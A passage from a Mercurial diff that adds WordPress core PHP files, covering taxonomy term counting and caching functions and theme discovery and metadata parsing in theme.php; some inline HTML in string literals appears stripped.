) { + if ( !isset($_deferred[$taxonomy]) ) + $_deferred[$taxonomy] = array(); + $_deferred[$taxonomy] = array_unique( array_merge($_deferred[$taxonomy], $terms) ); + return true; + } + + return wp_update_term_count_now( $terms, $taxonomy ); +} + +/** + * Perform term count update immediately. + * + * @since 2.5.0 + * + * @param array $terms The term_taxonomy_id of terms to update. + * @param string $taxonomy The context of the term. + * @return bool Always true when complete. + */ +function wp_update_term_count_now( $terms, $taxonomy ) { + global $wpdb; + + $terms = array_map('intval', $terms); + + $taxonomy = get_taxonomy($taxonomy); + if ( !empty($taxonomy->update_count_callback) ) { + call_user_func($taxonomy->update_count_callback, $terms); + } else { + // Default count updater + foreach ( (array) $terms as $term) { + $count = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->term_relationships WHERE term_taxonomy_id = %d", $term) ); + do_action( 'edit_term_taxonomy', $term ); + $wpdb->update( $wpdb->term_taxonomy, compact( 'count' ), array( 'term_taxonomy_id' => $term ) ); + do_action( 'edited_term_taxonomy', $term ); + } + + } + + clean_term_cache($terms); + + return true; +} + +// +// Cache +// + + +/** + * Removes the taxonomy relationship to terms from the cache. + * + * Will remove the entire taxonomy relationship containing term $object_id. The + * term IDs have to exist within the taxonomy $object_type for the deletion to + * take place. + * + * @package WordPress + * @subpackage Taxonomy + * @since 2.3.0 + * + * @see get_object_taxonomies() for more on $object_type + * @uses do_action() Will call action hook named, 'clean_object_term_cache' after completion. + * Passes, function params in same order. + * + * @param int|array $object_ids Single or list of term object ID(s) + * @param array|string $object_type The taxonomy object type + */ +function clean_object_term_cache($object_ids, $object_type) { + if ( !is_array($object_ids) ) + $object_ids = array($object_ids); + + foreach ( $object_ids as $id ) + foreach ( get_object_taxonomies($object_type) as $taxonomy ) + wp_cache_delete($id, "{$taxonomy}_relationships"); + + do_action('clean_object_term_cache', $object_ids, $object_type); +} + + +/** + * Will remove all of the term ids from the cache. + * + * @package WordPress + * @subpackage Taxonomy + * @since 2.3.0 + * @uses $wpdb + * + * @param int|array $ids Single or list of Term IDs + * @param string $taxonomy Can be empty and will assume tt_ids, else will use for context. + */ +function clean_term_cache($ids, $taxonomy = '') { + global $wpdb; + static $cleaned = array(); + + if ( !is_array($ids) ) + $ids = array($ids); + + $taxonomies = array(); + // If no taxonomy, assume tt_ids. + if ( empty($taxonomy) ) { + $tt_ids = implode(', ', $ids); + $terms = $wpdb->get_results("SELECT term_id, taxonomy FROM $wpdb->term_taxonomy WHERE term_taxonomy_id IN ($tt_ids)"); + foreach ( (array) $terms as $term ) { + $taxonomies[] = $term->taxonomy; + wp_cache_delete($term->term_id, $term->taxonomy); + } + $taxonomies = array_unique($taxonomies); + } else { + foreach ( $ids as $id ) { + wp_cache_delete($id, $taxonomy); + } + $taxonomies = array($taxonomy); + } + + foreach ( $taxonomies as $taxonomy ) { + if ( isset($cleaned[$taxonomy]) ) + continue; + $cleaned[$taxonomy] = true; + wp_cache_delete('all_ids', $taxonomy); + wp_cache_delete('get', $taxonomy); + delete_option("{$taxonomy}_children"); + } + + wp_cache_set('last_changed', time(), 'terms'); + + do_action('clean_term_cache', $ids, $taxonomy); +} + + +/** + * Retrieves the taxonomy relationship to the term object id. + * + * @package WordPress + * @subpackage Taxonomy + * @since 2.3.0 + * + * @uses wp_cache_get() Retrieves taxonomy relationship from cache + * + * @param int|array $id Term object ID + * @param string $taxonomy Taxonomy Name + * @return bool|array Empty array if $terms found, but not $taxonomy. False if nothing is in cache for $taxonomy and $id. + */ +function &get_object_term_cache($id, $taxonomy) { + $cache = wp_cache_get($id, "{$taxonomy}_relationships"); + return $cache; +} + + +/** + * Updates the cache for Term ID(s). + * + * Will only update the cache for terms not already cached. + * + * The $object_ids expects that the ids be separated by commas, if it is a + * string. + * + * It should be noted that update_object_term_cache() is very time extensive. It + * is advised that the function is not called very often or at least not for a + * lot of terms that exist in a lot of taxonomies. The amount of time increases + * for each term and it also increases for each taxonomy the term belongs to. + * + * @package WordPress + * @subpackage Taxonomy + * @since 2.3.0 + * @uses wp_get_object_terms() Used to get terms from the database to update + * + * @param string|array $object_ids Single or list of term object ID(s) + * @param array|string $object_type The taxonomy object type + * @return null|bool Null value is given with empty $object_ids. False if + */ +function update_object_term_cache($object_ids, $object_type) { + if ( empty($object_ids) ) + return; + + if ( !is_array($object_ids) ) + $object_ids = explode(',', $object_ids); + + $object_ids = array_map('intval', $object_ids); + + $taxonomies = get_object_taxonomies($object_type); + + $ids = array(); + foreach ( (array) $object_ids as $id ) { + foreach ( $taxonomies as $taxonomy ) { + if ( false === wp_cache_get($id, "{$taxonomy}_relationships") ) { + $ids[] = $id; + break; + } + } + } + + if ( empty( $ids ) ) + return false; + + $terms = wp_get_object_terms($ids, $taxonomies, 'fields=all_with_object_id'); + + $object_terms = array(); + foreach ( (array) $terms as $term ) + $object_terms[$term->object_id][$term->taxonomy][$term->term_id] = $term; + + foreach ( $ids as $id ) { + foreach ( $taxonomies as $taxonomy ) { + if ( ! isset($object_terms[$id][$taxonomy]) ) { + if ( !isset($object_terms[$id]) ) + $object_terms[$id] = array(); + $object_terms[$id][$taxonomy] = array(); + } + } + } + + foreach ( $object_terms as $id => $value ) { + foreach ( $value as $taxonomy => $terms ) { + wp_cache_set($id, $terms, "{$taxonomy}_relationships"); + } + } +} + + +/** + * Updates Terms to Taxonomy in cache. + * + * @package WordPress + * @subpackage Taxonomy + * @since 2.3.0 + * + * @param array $terms List of Term objects to change + * @param string $taxonomy Optional. Update Term to this taxonomy in cache + */ +function update_term_cache($terms, $taxonomy = '') { + foreach ( (array) $terms as $term ) { + $term_taxonomy = $taxonomy; + if ( empty($term_taxonomy) ) + $term_taxonomy = $term->taxonomy; + + wp_cache_add($term->term_id, $term, $term_taxonomy); + } +} + +// +// Private +// + + +/** + * Retrieves children of taxonomy as Term IDs. + * + * @package WordPress + * @subpackage Taxonomy + * @access private + * @since 2.3.0 + * + * @uses update_option() Stores all of the children in "$taxonomy_children" + * option. That is the name of the taxonomy, immediately followed by '_children'. + * + * @param string $taxonomy Taxonomy Name + * @return array Empty if $taxonomy isn't hierarachical or returns children as Term IDs. + */ +function _get_term_hierarchy($taxonomy) { + if ( !is_taxonomy_hierarchical($taxonomy) ) + return array(); + $children = get_option("{$taxonomy}_children"); + if ( is_array($children) ) + return $children; + + $children = array(); + $terms = get_terms($taxonomy, 'get=all'); + foreach ( $terms as $term ) { + if ( $term->parent > 0 ) + $children[$term->parent][] = $term->term_id; + } + update_option("{$taxonomy}_children", $children); + + return $children; +} + + +/** + * Get the subset of $terms that are descendants of $term_id. + * + * If $terms is an array of objects, then _get_term_children returns an array of objects. + * If $terms is an array of IDs, then _get_term_children returns an array of IDs. + * + * @package WordPress + * @subpackage Taxonomy + * @access private + * @since 2.3.0 + * + * @param int $term_id The ancestor term: all returned terms should be descendants of $term_id. + * @param array $terms The set of terms---either an array of term objects or term IDs---from which those that are descendants of $term_id will be chosen. + * @param string $taxonomy The taxonomy which determines the hierarchy of the terms. + * @return array The subset of $terms that are descendants of $term_id. + */ +function &_get_term_children($term_id, $terms, $taxonomy) { + $empty_array = array(); + if ( empty($terms) ) + return $empty_array; + + $term_list = array(); + $has_children = _get_term_hierarchy($taxonomy); + + if ( ( 0 != $term_id ) && ! isset($has_children[$term_id]) ) + return $empty_array; + + foreach ( (array) $terms as $term ) { + $use_id = false; + if ( !is_object($term) ) { + $term = get_term($term, $taxonomy); + if ( is_wp_error( $term ) ) + return $term; + $use_id = true; + } + + if ( $term->term_id == $term_id ) + continue; + + if ( $term->parent == $term_id ) { + if ( $use_id ) + $term_list[] = $term->term_id; + else + $term_list[] = $term; + + if ( !isset($has_children[$term->term_id]) ) + continue; + + if ( $children = _get_term_children($term->term_id, $terms, $taxonomy) ) + $term_list = array_merge($term_list, $children); + } + } + + return $term_list; +} + + +/** + * Add count of children to parent count. + * + * Recalculates term counts by including items from child terms. Assumes all + * relevant children are already in the $terms argument. + * + * @package WordPress + * @subpackage Taxonomy + * @access private + * @since 2.3.0 + * @uses $wpdb + * + * @param array $terms List of Term IDs + * @param string $taxonomy Term Context + * @return null Will break from function if conditions are not met. + */ +function _pad_term_counts(&$terms, $taxonomy) { + global $wpdb; + + // This function only works for hierarchical taxonomies like post categories. + if ( !is_taxonomy_hierarchical( $taxonomy ) ) + return; + + $term_hier = _get_term_hierarchy($taxonomy); + + if ( empty($term_hier) ) + return; + + $term_items = array(); + + foreach ( (array) $terms as $key => $term ) { + $terms_by_id[$term->term_id] = & $terms[$key]; + $term_ids[$term->term_taxonomy_id] = $term->term_id; + } + + // Get the object and term ids and stick them in a lookup table + $results = $wpdb->get_results("SELECT object_id, term_taxonomy_id FROM $wpdb->term_relationships INNER JOIN $wpdb->posts ON object_id = ID WHERE term_taxonomy_id IN (".join(',', array_keys($term_ids)).") AND post_type = 'post' AND post_status = 'publish'"); + foreach ( $results as $row ) { + $id = $term_ids[$row->term_taxonomy_id]; + $term_items[$id][$row->object_id] = isset($term_items[$id][$row->object_id]) ? ++$term_items[$id][$row->object_id] : 1; + } + + // Touch every ancestor's lookup row for each post in each term + foreach ( $term_ids as $term_id ) { + $child = $term_id; + while ( $parent = $terms_by_id[$child]->parent ) { + if ( !empty($term_items[$term_id]) ) + foreach ( $term_items[$term_id] as $item_id => $touches ) { + $term_items[$parent][$item_id] = isset($term_items[$parent][$item_id]) ? ++$term_items[$parent][$item_id]: 1; + } + $child = $parent; + } + } + + // Transfer the touched cells + foreach ( (array) $term_items as $id => $items ) + if ( isset($terms_by_id[$id]) ) + $terms_by_id[$id]->count = count($items); +} + +// +// Default callbacks +// + +/** + * Will update term count based on posts. + * + * Private function for the default callback for post_tag and category + * taxonomies. + * + * @package WordPress + * @subpackage Taxonomy + * @access private + * @since 2.3.0 + * @uses $wpdb + * + * @param array $terms List of Term taxonomy IDs + */ +function _update_post_term_count( $terms ) { + global $wpdb; + + foreach ( (array) $terms as $term ) { + $count = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->term_relationships, $wpdb->posts WHERE $wpdb->posts.ID = $wpdb->term_relationships.object_id AND post_status = 'publish' AND post_type = 'post' AND term_taxonomy_id = %d", $term ) ); + do_action( 'edit_term_taxonomy', $term ); + $wpdb->update( $wpdb->term_taxonomy, compact( 'count' ), array( 'term_taxonomy_id' => $term ) ); + do_action( 'edited_term_taxonomy', $term ); + } +} + + +/** + * Generates a permalink for a taxonomy term archive. + * + * @since 2.5.0 + * + * @param object|int|string $term + * @param string $taxonomy + * @return string HTML link to taxonomy term archive + */ +function get_term_link( $term, $taxonomy ) { + global $wp_rewrite; + + if ( !is_object($term) ) { + if ( is_int($term) ) { + $term = &get_term($term, $taxonomy); + } else { + $term = &get_term_by('slug', $term, $taxonomy); + } + } + if ( is_wp_error( $term ) ) + return $term; + + // use legacy functions for core taxonomies until they are fully plugged in + if ( $taxonomy == 'category' ) + return get_category_link((int) $term->term_id); + if ( $taxonomy == 'post_tag' ) + return get_tag_link((int) $term->term_id); + + $termlink = $wp_rewrite->get_extra_permastruct($taxonomy); + + $slug = $term->slug; + + if ( empty($termlink) ) { + $file = trailingslashit( get_option('home') ); + $t = get_taxonomy($taxonomy); + if ( $t->query_var ) + $termlink = "$file?$t->query_var=$slug"; + else + $termlink = "$file?taxonomy=$taxonomy&term=$slug"; + } else { + $termlink = str_replace("%$taxonomy%", $slug, $termlink); + $termlink = get_option('home') . user_trailingslashit($termlink, 'category'); + } + return apply_filters('term_link', $termlink, $term, $taxonomy); +} + +/** + * Display the taxonomies of a post with available options. + * + * This function can be used within the loop to display the taxonomies for a + * post without specifying the Post ID. You can also use it outside the Loop to + * display the taxonomies for a specific post. + * + * The available defaults are: + * 'post' : default is 0. The post ID to get taxonomies of. + * 'before' : default is empty string. Display before taxonomies list. + * 'sep' : default is empty string. Separate every taxonomy with value in this. + * 'after' : default is empty string. Display this after the taxonomies list. + * + * @since 2.5.0 + * @uses get_the_taxonomies() + * + * @param array $args Override the defaults. + */ +function the_taxonomies($args = array()) { + $defaults = array( + 'post' => 0, + 'before' => '', + 'sep' => ' ', + 'after' => '', + ); + + $r = wp_parse_args( $args, $defaults ); + extract( $r, EXTR_SKIP ); + + echo $before . join($sep, get_the_taxonomies($post)) . $after; +} + +/** + * Retrieve all taxonomies associated with a post. + * + * This function can be used within the loop. It will also return an array of + * the taxonomies with links to the taxonomy and name. + * + * @since 2.5.0 + * + * @param int $post Optional. Post ID or will use Global Post ID (in loop). + * @return array + */ +function get_the_taxonomies($post = 0) { + if ( is_int($post) ) + $post =& get_post($post); + elseif ( !is_object($post) ) + $post =& $GLOBALS['post']; + + $taxonomies = array(); + + if ( !$post ) + return $taxonomies; + + $template = apply_filters('taxonomy_template', '%s: %l.'); + + foreach ( get_object_taxonomies($post) as $taxonomy ) { + $t = (array) get_taxonomy($taxonomy); + if ( empty($t['label']) ) + $t['label'] = $taxonomy; + if ( empty($t['args']) ) + $t['args'] = array(); + if ( empty($t['template']) ) + $t['template'] = $template; + + $terms = get_object_term_cache($post->ID, $taxonomy); + if ( empty($terms) ) + $terms = wp_get_object_terms($post->ID, $taxonomy, $t['args']); + + $links = array(); + + foreach ( $terms as $term ) + $links[] = "$term->name"; + + if ( $links ) + $taxonomies[$taxonomy] = wp_sprintf($t['template'], $t['label'], $links, $terms); + } + return $taxonomies; +} + +/** + * Retrieve all taxonomies of a post with just the names. + * + * @since 2.5.0 + * @uses get_object_taxonomies() + * + * @param int $post Optional. Post ID + * @return array + */ +function get_post_taxonomies($post = 0) { + $post =& get_post($post); + + return get_object_taxonomies($post); +} + +/** + * Determine if the given object is associated with any of the given terms. + * + * The given terms are checked against the object's terms' term_ids, names and slugs. + * Terms given as integers will only be checked against the object's terms' term_ids. + * If no terms are given, determines if object is associated with any terms in the given taxonomy. + * + * @since 2.7.0 + * @uses get_object_term_cache() + * @uses wp_get_object_terms() + * + * @param int $object_id. ID of the object (post ID, link ID, ...) + * @param string $taxonomy. Single taxonomy name + * @param int|string|array $terms Optional. Term term_id, name, slug or array of said + * @return bool|WP_Error. WP_Error on input error. + */ +function is_object_in_term( $object_id, $taxonomy, $terms = null ) { + if ( !$object_id = (int) $object_id ) + return new WP_Error( 'invalid_object', __( 'Invalid object ID' ) ); + + $object_terms = get_object_term_cache( $object_id, $taxonomy ); + if ( empty( $object_terms ) ) + $object_terms = wp_get_object_terms( $object_id, $taxonomy ); + + if ( is_wp_error( $object_terms ) ) + return $object_terms; + if ( empty( $object_terms ) ) + return false; + if ( empty( $terms ) ) + return ( !empty( $object_terms ) ); + + $terms = (array) $terms; + + if ( $ints = array_filter( $terms, 'is_int' ) ) + $strs = array_diff( $terms, $ints ); + else + $strs =& $terms; + + foreach ( $object_terms as $object_term ) { + if ( $ints && in_array( $object_term->term_id, $ints ) ) return true; // If int, check against term_id + if ( $strs ) { + if ( in_array( $object_term->term_id, $strs ) ) return true; + if ( in_array( $object_term->name, $strs ) ) return true; + if ( in_array( $object_term->slug, $strs ) ) return true; + } + } + + return false; +} + +?> diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/template-loader.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/template-loader.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,78 @@ + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/theme.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/theme.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,1385 @@ +text_direction) && file_exists("$dir/{$wp_locale->text_direction}.css") ) + $stylesheet_uri = "$stylesheet_dir_uri/{$wp_locale->text_direction}.css"; + else + $stylesheet_uri = ''; + return apply_filters('locale_stylesheet_uri', $stylesheet_uri, $stylesheet_dir_uri); +} + +/** + * Retrieve name of the current theme. + * + * @since 1.5.0 + * @uses apply_filters() Calls 'template' filter on template option. + * + * @return string Template name. + */ +function get_template() { + return apply_filters('template', get_option('template')); +} + +/** + * Retrieve current theme directory. + * + * @since 1.5.0 + * @uses apply_filters() Calls 'template_directory' filter on template directory path and template name. + * + * @return string Template directory path. + */ +function get_template_directory() { + $template = get_template(); + $theme_root = get_theme_root( $template ); + $template_dir = "$theme_root/$template"; + + return apply_filters( 'template_directory', $template_dir, $template, $theme_root ); +} + +/** + * Retrieve theme directory URI. + * + * @since 1.5.0 + * @uses apply_filters() Calls 'template_directory_uri' filter on template directory URI path and template name. + * + * @return string Template directory URI. + */ +function get_template_directory_uri() { + $template = get_template(); + $theme_root_uri = get_theme_root_uri( $template ); + $template_dir_uri = "$theme_root_uri/$template"; + + return apply_filters( 'template_directory_uri', $template_dir_uri, $template, $theme_root_uri ); +} + +/** + * Retrieve theme data from parsed theme file. + * + * The description will have the tags filtered with the following HTML elements + * whitelisted. The 'a' element with the href and title + * attributes. The abbr element with the title attribute. The + * acronym element with the title attribute allowed. The + * code, em, and strong elements also allowed. + * + * The style.css file must contain theme name, theme URI, and description. The + * data can also contain author URI, author, template (parent template), + * version, status, and finally tags. Some of these are not used by WordPress + * administration panels, but are used by theme directory web sites which list + * the theme. + * + * @since 1.5.0 + * + * @param string $theme_file Theme file path. + * @return array Theme data. + */ +function get_theme_data( $theme_file ) { + $default_headers = array( + 'Name' => 'Theme Name', + 'URI' => 'Theme URI', + 'Description' => 'Description', + 'Author' => 'Author', + 'AuthorURI' => 'Author URI', + 'Version' => 'Version', + 'Template' => 'Template', + 'Status' => 'Status', + 'Tags' => 'Tags' + ); + + $themes_allowed_tags = array( + 'a' => array( + 'href' => array(),'title' => array() + ), + 'abbr' => array( + 'title' => array() + ), + 'acronym' => array( + 'title' => array() + ), + 'code' => array(), + 'em' => array(), + 'strong' => array() + ); + + $theme_data = get_file_data( $theme_file, $default_headers, 'theme' ); + + $theme_data['Name'] = $theme_data['Title'] = wp_kses( $theme_data['Name'], $themes_allowed_tags ); + + $theme_data['URI'] = esc_url( $theme_data['URI'] ); + + $theme_data['Description'] = wptexturize( wp_kses( $theme_data['Description'], $themes_allowed_tags ) ); + + $theme_data['AuthorURI'] = esc_url( $theme_data['AuthorURI'] ); + + $theme_data['Template'] = wp_kses( $theme_data['Template'], $themes_allowed_tags ); + + $theme_data['Version'] = wp_kses( $theme_data['Version'], $themes_allowed_tags ); + + if ( $theme_data['Status'] == '' ) + $theme_data['Status'] = 'publish'; + else + $theme_data['Status'] = wp_kses( $theme_data['Status'], $themes_allowed_tags ); + + if ( $theme_data['Tags'] == '' ) + $theme_data['Tags'] = array(); + else + $theme_data['Tags'] = array_map( 'trim', explode( ',', wp_kses( $theme_data['Tags'], array() ) ) ); + + if ( $theme_data['Author'] == '' ) { + $theme_data['Author'] = __('Anonymous'); + } else { + if ( empty( $theme_data['AuthorURI'] ) ) { + $theme_data['Author'] = wp_kses( $theme_data['Author'], $themes_allowed_tags ); + } else { + $theme_data['Author'] = sprintf( '%3$s', $theme_data['AuthorURI'], __( 'Visit author homepage' ), wp_kses( $theme_data['Author'], $themes_allowed_tags ) ); + } + } + + return $theme_data; +} + +/** + * Retrieve list of themes with theme data in theme directory. + * + * The theme is broken, if it doesn't have a parent theme and is missing either + * style.css and, or index.php. If the theme has a parent theme then it is + * broken, if it is missing style.css; index.php is optional. The broken theme + * list is saved in the {@link $wp_broken_themes} global, which is displayed on + * the theme list in the administration panels. + * + * @since 1.5.0 + * @global array $wp_broken_themes Stores the broken themes. + * @global array $wp_themes Stores the working themes. + * + * @return array Theme list with theme data. + */ +function get_themes() { + global $wp_themes, $wp_broken_themes; + + if ( isset($wp_themes) ) + return $wp_themes; + + /* Register the default root as a theme directory */ + register_theme_directory( get_theme_root() ); + + if ( !$theme_files = search_theme_directories() ) + return false; + + asort( $theme_files ); + + $wp_themes = array(); + + foreach ( (array) $theme_files as $theme_file ) { + $theme_root = $theme_file['theme_root']; + $theme_file = $theme_file['theme_file']; + + if ( !is_readable("$theme_root/$theme_file") ) { + $wp_broken_themes[$theme_file] = array('Name' => $theme_file, 'Title' => $theme_file, 'Description' => __('File not readable.')); + continue; + } + + $theme_data = get_theme_data("$theme_root/$theme_file"); + + $name = $theme_data['Name']; + $title = $theme_data['Title']; + $description = wptexturize($theme_data['Description']); + $version = $theme_data['Version']; + $author = $theme_data['Author']; + $template = $theme_data['Template']; + $stylesheet = dirname($theme_file); + + $screenshot = false; + foreach ( array('png', 'gif', 'jpg', 'jpeg') as $ext ) { + if (file_exists("$theme_root/$stylesheet/screenshot.$ext")) { + $screenshot = "screenshot.$ext"; + break; + } + } + + if ( empty($name) ) { + $name = dirname($theme_file); + $title = $name; + } + + if ( empty($template) ) { + if ( file_exists("$theme_root/$stylesheet/index.php") ) + $template = $stylesheet; + else + continue; + } + + $template = trim( $template ); + + if ( !file_exists("$theme_root/$template/index.php") ) { + $parent_dir = dirname(dirname($theme_file)); + if ( file_exists("$theme_root/$parent_dir/$template/index.php") ) { + $template = "$parent_dir/$template"; + $template_directory = "$theme_root/$template"; + } else { + /** + * The parent theme doesn't exist in the current theme's folder or sub folder + * so lets use the theme root for the parent template. + */ + if ( isset($theme_files[$template]) && file_exists( $theme_files[$template]['theme_root'] . "/$template/index.php" ) ) { + $template_directory = $theme_files[$template]['theme_root'] . "/$template"; + } else { + $wp_broken_themes[$name] = array('Name' => $name, 'Title' => $title, 'Description' => __('Template is missing.')); + continue; + } + + } + } else { + $template_directory = trim( $theme_root . '/' . $template ); + } + + $stylesheet_files = array(); + $template_files = array(); + + $stylesheet_dir = @ dir("$theme_root/$stylesheet"); + if ( $stylesheet_dir ) { + while ( ($file = $stylesheet_dir->read()) !== false ) { + if ( !preg_match('|^\.+$|', $file) ) { + if ( preg_match('|\.css$|', $file) ) + $stylesheet_files[] = "$theme_root/$stylesheet/$file"; + elseif ( preg_match('|\.php$|', $file) ) + $template_files[] = "$theme_root/$stylesheet/$file"; + } + } + @ $stylesheet_dir->close(); + } + + $template_dir = @ dir("$template_directory"); + if ( $template_dir ) { + while ( ($file = $template_dir->read()) !== false ) { + if ( preg_match('|^\.+$|', $file) ) + continue; + if ( preg_match('|\.php$|', $file) ) { + $template_files[] = "$template_directory/$file"; + } elseif ( is_dir("$template_directory/$file") ) { + $template_subdir = @ dir("$template_directory/$file"); + if ( !$template_subdir ) + continue; + while ( ($subfile = $template_subdir->read()) !== false ) { + if ( preg_match('|^\.+$|', $subfile) ) + continue; + if ( preg_match('|\.php$|', $subfile) ) + $template_files[] = "$template_directory/$file/$subfile"; + } + @ $template_subdir->close(); + } + } + @ $template_dir->close(); + } + + //Make unique and remove duplicates when stylesheet and template are the same i.e. most themes + $template_files = array_unique($template_files); + $stylesheet_files = array_unique($stylesheet_files); + + $template_dir = dirname($template_files[0]); + $stylesheet_dir = dirname($stylesheet_files[0]); + + if ( empty($template_dir) ) + $template_dir = '/'; + if ( empty($stylesheet_dir) ) + $stylesheet_dir = '/'; + + // Check for theme name collision. This occurs if a theme is copied to + // a new theme directory and the theme header is not updated. Whichever + // theme is first keeps the name. Subsequent themes get a suffix applied. + // The Default and Classic themes always trump their pretenders. + if ( isset($wp_themes[$name]) ) { + if ( ('WordPress Default' == $name || 'WordPress Classic' == $name) && + ('default' == $stylesheet || 'classic' == $stylesheet) ) { + // If another theme has claimed to be one of our default themes, move + // them aside. + $suffix = $wp_themes[$name]['Stylesheet']; + $new_name = "$name/$suffix"; + $wp_themes[$new_name] = $wp_themes[$name]; + $wp_themes[$new_name]['Name'] = $new_name; + } else { + $name = "$name/$stylesheet"; + } + } + + $theme_roots[$stylesheet] = str_replace( WP_CONTENT_DIR, '', $theme_root ); + $wp_themes[$name] = array( 'Name' => $name, 'Title' => $title, 'Description' => $description, 'Author' => $author, 'Version' => $version, 'Template' => $template, 'Stylesheet' => $stylesheet, 'Template Files' => $template_files, 'Stylesheet Files' => $stylesheet_files, 'Template Dir' => $template_dir, 'Stylesheet Dir' => $stylesheet_dir, 'Status' => $theme_data['Status'], 'Screenshot' => $screenshot, 'Tags' => $theme_data['Tags'], 'Theme Root' => $theme_root, 'Theme Root URI' => str_replace( WP_CONTENT_DIR, content_url(), $theme_root ) ); + } + + unset($theme_files); + + /* Store theme roots in the DB */ + if ( get_site_transient( 'theme_roots' ) != $theme_roots ) + set_site_transient( 'theme_roots', $theme_roots, 7200 ); // cache for two hours + unset($theme_roots); + + /* Resolve theme dependencies. */ + $theme_names = array_keys( $wp_themes ); + foreach ( (array) $theme_names as $theme_name ) { + $wp_themes[$theme_name]['Parent Theme'] = ''; + if ( $wp_themes[$theme_name]['Stylesheet'] != $wp_themes[$theme_name]['Template'] ) { + foreach ( (array) $theme_names as $parent_theme_name ) { + if ( ($wp_themes[$parent_theme_name]['Stylesheet'] == $wp_themes[$parent_theme_name]['Template']) && ($wp_themes[$parent_theme_name]['Template'] == $wp_themes[$theme_name]['Template']) ) { + $wp_themes[$theme_name]['Parent Theme'] = $wp_themes[$parent_theme_name]['Name']; + break; + } + } + } + } + + return $wp_themes; +} + +/** + * Retrieve theme roots. + * + * @since 2.9.0 + * + * @return array Theme roots + */ +function get_theme_roots() { + $theme_roots = get_site_transient( 'theme_roots' ); + if ( false === $theme_roots ) { + get_themes(); + $theme_roots = get_site_transient( 'theme_roots' ); // this is set in get_theme() + } + return $theme_roots; +} + +/** + * Retrieve theme data. + * + * @since 1.5.0 + * + * @param string $theme Theme name. + * @return array|null Null, if theme name does not exist. Theme data, if exists. + */ +function get_theme($theme) { + $themes = get_themes(); + + if ( array_key_exists($theme, $themes) ) + return $themes[$theme]; + + return null; +} + +/** + * Retrieve current theme display name. + * + * If the 'current_theme' option has already been set, then it will be returned + * instead. If it is not set, then each theme will be iterated over until both + * the current stylesheet and current template name. + * + * @since 1.5.0 + * + * @return string + */ +function get_current_theme() { + if ( $theme = get_option('current_theme') ) + return $theme; + + $themes = get_themes(); + $theme_names = array_keys($themes); + $current_template = get_option('template'); + $current_stylesheet = get_option('stylesheet'); + $current_theme = 'WordPress Default'; + + if ( $themes ) { + foreach ( (array) $theme_names as $theme_name ) { + if ( $themes[$theme_name]['Stylesheet'] == $current_stylesheet && + $themes[$theme_name]['Template'] == $current_template ) { + $current_theme = $themes[$theme_name]['Name']; + break; + } + } + } + + update_option('current_theme', $current_theme); + + return $current_theme; +} + +/** + * Register a directory that contains themes. + * + * @since 2.9.0 + * + * @param string $directory Either the full filesystem path to a theme folder or a folder within WP_CONTENT_DIR + * @return bool + */ +function register_theme_directory( $directory) { + global $wp_theme_directories; + + /* If this folder does not exist, return and do not register */ + if ( !file_exists( $directory ) ) + /* Try prepending as the theme directory could be relative to the content directory */ + $registered_directory = WP_CONTENT_DIR . '/' . $directory; + else + $registered_directory = $directory; + + /* If this folder does not exist, return and do not register */ + if ( !file_exists( $registered_directory ) ) + return false; + + $wp_theme_directories[] = $registered_directory; + + return true; +} + +/** + * Search all registered theme directories for complete and valid themes. + * + * @since 2.9.0 + * + * @return array Valid themes found + */ +function search_theme_directories() { + global $wp_theme_directories, $wp_broken_themes; + if ( empty( $wp_theme_directories ) ) + return false; + + $theme_files = array(); + $wp_broken_themes = array(); + + /* Loop the registered theme directories and extract all themes */ + foreach ( (array) $wp_theme_directories as $theme_root ) { + $theme_loc = $theme_root; + + /* We don't want to replace all forward slashes, see Trac #4541 */ + if ( '/' != WP_CONTENT_DIR ) + $theme_loc = str_replace(WP_CONTENT_DIR, '', $theme_root); + + /* Files in the root of the current theme directory and one subdir down */ + $themes_dir = @ opendir($theme_root); + + if ( !$themes_dir ) + return false; + + while ( ($theme_dir = readdir($themes_dir)) !== false ) { + if ( is_dir($theme_root . '/' . $theme_dir) && is_readable($theme_root . '/' . $theme_dir) ) { + if ( $theme_dir{0} == '.' || $theme_dir == 'CVS' ) + continue; + + $stylish_dir = @opendir($theme_root . '/' . $theme_dir); + $found_stylesheet = false; + + while ( ($theme_file = readdir($stylish_dir)) !== false ) { + if ( $theme_file == 'style.css' ) { + $theme_files[$theme_dir] = array( 'theme_file' => $theme_dir . '/' . $theme_file, 'theme_root' => $theme_root ); + $found_stylesheet = true; + break; + } + } + @closedir($stylish_dir); + + if ( !$found_stylesheet ) { // look for themes in that dir + $subdir = "$theme_root/$theme_dir"; + $subdir_name = $theme_dir; + $theme_subdirs = @opendir( $subdir ); + + $found_subdir_themes = false; + while ( ($theme_subdir = readdir($theme_subdirs)) !== false ) { + if ( is_dir( $subdir . '/' . $theme_subdir) && is_readable($subdir . '/' . $theme_subdir) ) { + if ( $theme_subdir{0} == '.' || $theme_subdir == 'CVS' ) + continue; + + $stylish_dir = @opendir($subdir . '/' . $theme_subdir); + $found_stylesheet = false; + + while ( ($theme_file = readdir($stylish_dir)) !== false ) { + if ( $theme_file == 'style.css' ) { + $theme_files["$theme_dir/$theme_subdir"] = array( 'theme_file' => $subdir_name . '/' . $theme_subdir . '/' . $theme_file, 'theme_root' => $theme_root ); + $found_stylesheet = true; + $found_subdir_themes = true; + break; + } + } + @closedir($stylish_dir); + } + } + @closedir($theme_subdir); + if ( !$found_subdir_themes ) + $wp_broken_themes[$theme_dir] = array('Name' => $theme_dir, 'Title' => $theme_dir, 'Description' => __('Stylesheet is missing.')); + } + } + } + if ( is_dir( $theme_dir ) ) + @closedir( $theme_dir ); + } + return $theme_files; +} + +/** + * Retrieve path to themes directory. + * + * Does not have trailing slash. + * + * @since 1.5.0 + * @param $stylesheet_or_template The stylesheet or template name of the theme + * @uses apply_filters() Calls 'theme_root' filter on path. + * + * @return string Theme path. + */ +function get_theme_root( $stylesheet_or_template = false ) { + if ($stylesheet_or_template) { + $theme_roots = get_theme_roots(); + + if ( $theme_roots[$stylesheet_or_template] ) + $theme_root = WP_CONTENT_DIR . 